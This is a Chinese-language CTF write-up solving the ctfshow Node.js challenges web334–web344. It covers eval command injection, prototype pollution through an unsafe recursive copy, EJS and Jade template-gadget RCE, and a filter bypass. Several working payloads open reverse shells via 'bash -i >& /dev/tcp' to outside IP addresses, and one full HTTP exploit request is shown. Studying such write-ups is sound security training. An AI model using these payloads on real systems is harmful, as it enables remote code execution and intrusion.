ctfshow-nodejs
1. web334
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; });
};
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
- 名字不等于 CTFSHOW
- 名字
.toUpperCase()等于CTFSHOW - 密码等于 123456
2. web335
/?eval={root.process.mainModule.require('child_process').spawnSync('cat',+['fl00g.txt']).stdout}
3. web336
/?eval={root.process.mainModule.require('child_process').spawnSync('cat',+['fl001g.txt']).stdout}
4. web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
要求
- a.length === b.length
- a!== b
- md5(a+flag) === md5(b+flag)
这里考察了一个nodejs的特性
if a = ['1']:
then a.toString()= '1'
> let flag ='flag'
> console.log(['1']+flag)
1flag
> console.log('1'+flag)
1flag
> console.log(1+flag)
1flag
总结:
- 字符串+字符串是拼接
- 数字+字符串也是拼接
?a[]=1&b=1
5. web338(原型链污染)
function copy(object1, object2){ for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key]) } else {
object1[key] = object2[key] }
}
}
- 这个copy函数十分危险,它因为没有对
__proto__进行过滤,导致可以对类进行原型链污染,只需要我们为key__proto__进行赋值即可
利用分析
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user, req.body); // ← 用户输入直接传入 copyif(secert.ctfshow === '36dboy'){ // ← 需要 secert.ctfshow 等于 '36dboy'
res.end(flag);
}
- user 是空对象
{},req.body是我们可控的 JSON 输入 copy(user, req.body)会递归合并,如果我们传入 proto 键,就能污染Object.prototype- secert 也是空对象
{},它本身没有ctfshow属性,但如果我们污染了Object.prototype.ctfshow,那么secert.ctfshow就会沿原型链找到被污染的值
利用过程
向 /login 发送 POST 请求,Content-Type 为 application/json body 为:
{
"__proto__": {
"ctfshow": "36dboy"
}
}
当copy(user,req.body)执行的时候:
- proto in user 为 true(因为所有对象都有 proto),进入递归
- 递归中 ctfshow 不在
user.__proto__(即Object.prototype)中,走 else 分支 - 执行
Object.prototype.ctfshow = '36dboy' - 之后
secert.ctfshow通过原型链查找,得到'36dboy',条件成立,返回 flag
PS C:\Users\Administrator> curl -X POST https://09997963-43d5-499d-ab3f-2dc225673840.challenge.ctf.show/login -H "Content-Type:application/json" -d '{"__proto__":{"ctfshow":"36dboy"}}'
ctfshow{307a608e-3e78-4c29-a06a-0abaddc8b70b}
6. web339 (原型链污染 RCE)
在common.js中可以发现同样的漏洞代码
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
再看一下这个获取flag的条件
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body); if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
漏洞和上面的如出一辙,直接把 req.body的内容传给了copy函数,在req.body中传入__proto__ 键即可实现污染object.secert.ctfshow
PS C:\Users\Administrator> curl -k -X POST https://3bef9a0b-1992-410b-8cda-5bce673cd399.challenge.ctf.show/login -H "Content-Type:application/json" -d '{"__proto__":{"ctfshow":"flag_here"}}'
但是经过测试没有效果,原因是这个flag的值我们是不知道的
在api.js当中,给了我们实现RCE的可能
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
这里可以发现 query 变量未定义。通过原型链污染注入 query 属性后,即可实现RCE
{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"')"}}
这里参考文章中给出的payload反弹shell即可
POST /login HTTP/1.1
Host: 466a1f2f-2a5b-4bb0-99a7-8454a51c9302.challenge.ctf.show
Content-Length: 157
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Sec-Ch-Ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Origin: https://466a1f2f-2a5b-4bb0-99a7-8454a51c9302.challenge.ctf.show
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://466a1f2f-2a5b-4bb0-99a7-8454a51c9302.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"')"}}
先对 query属性进行污染,然后访问api 触发payload
7. web340(污染两次)
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body); if(user.userinfo.isAdmin){ res.end(flag); }else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
这里需要污染isAdmin 属性,才能获取到flag,但是因为userinfo.isAdmin 已经被设置为了flase,所以我们无法进行污染。
还是看看RCE吧
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
这里需要污染到Object.query ,我们目前只能从userinfo 开始污染,userinfo的上一级是user 在上一级才是object.所以需要污染两次
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"')"}}}
8. web341 (EJS模板漏洞)
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
依旧无法污染user.userinfo.isAdmin,也没有能明显触发RCE的地方
安装snyk进行扫描
npm install -g snyk
PS C:\Users\Administrator\Downloads\web340> snyk test Testing C:\Users\Administrator\Downloads\web340... Upgrade ejs@3.1.5 to ejs@3.1.10 to fix ✗ Improper Control of Dynamically-Managed Code Resources [Medium Severity][https://security.snyk.io/vuln/SNYK-JS-EJS-6689533] in ejs@3.1.5 introduced by ejs@3.1.5 ✗ Arbitrary Code Injection [Medium Severity][https://security.snyk.io/vuln/SNYK-JS-EJS-1049328] in ejs@3.1.5 introduced by ejs@3.1.5 ✗ Remote Code Execution (RCE) [High Severity][https://security.snyk.io/vuln/SNYK-JS-EJS-2803307] in ejs@3.1.5 introduced by ejs@3.1.5
可以发现存在ejs这个组件的漏洞,项目直接引入了这个模板引擎
var ejs = require('ejs');
这里还是需要整两次污染
第1次 __proto__: userinfo.__proto__ → 指向 userinfo 的构造函数原型
第2次 __proto__: 再往上一级 → Object.prototype
{"__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"'); //"}}}
9. web342&343
打 Jade 的 AST 注入,直接copy了
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"')"}}}
10. web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){ res.end('where is flag :)');
}
var query = JSON.parse(req.query.query); if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){ res.end(flag);
}else{
res.end('where is flag. :)');
}
});
这里需要满足三个条件,过滤了逗号。
在url中可以使用&在一定程度上来替代逗号
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
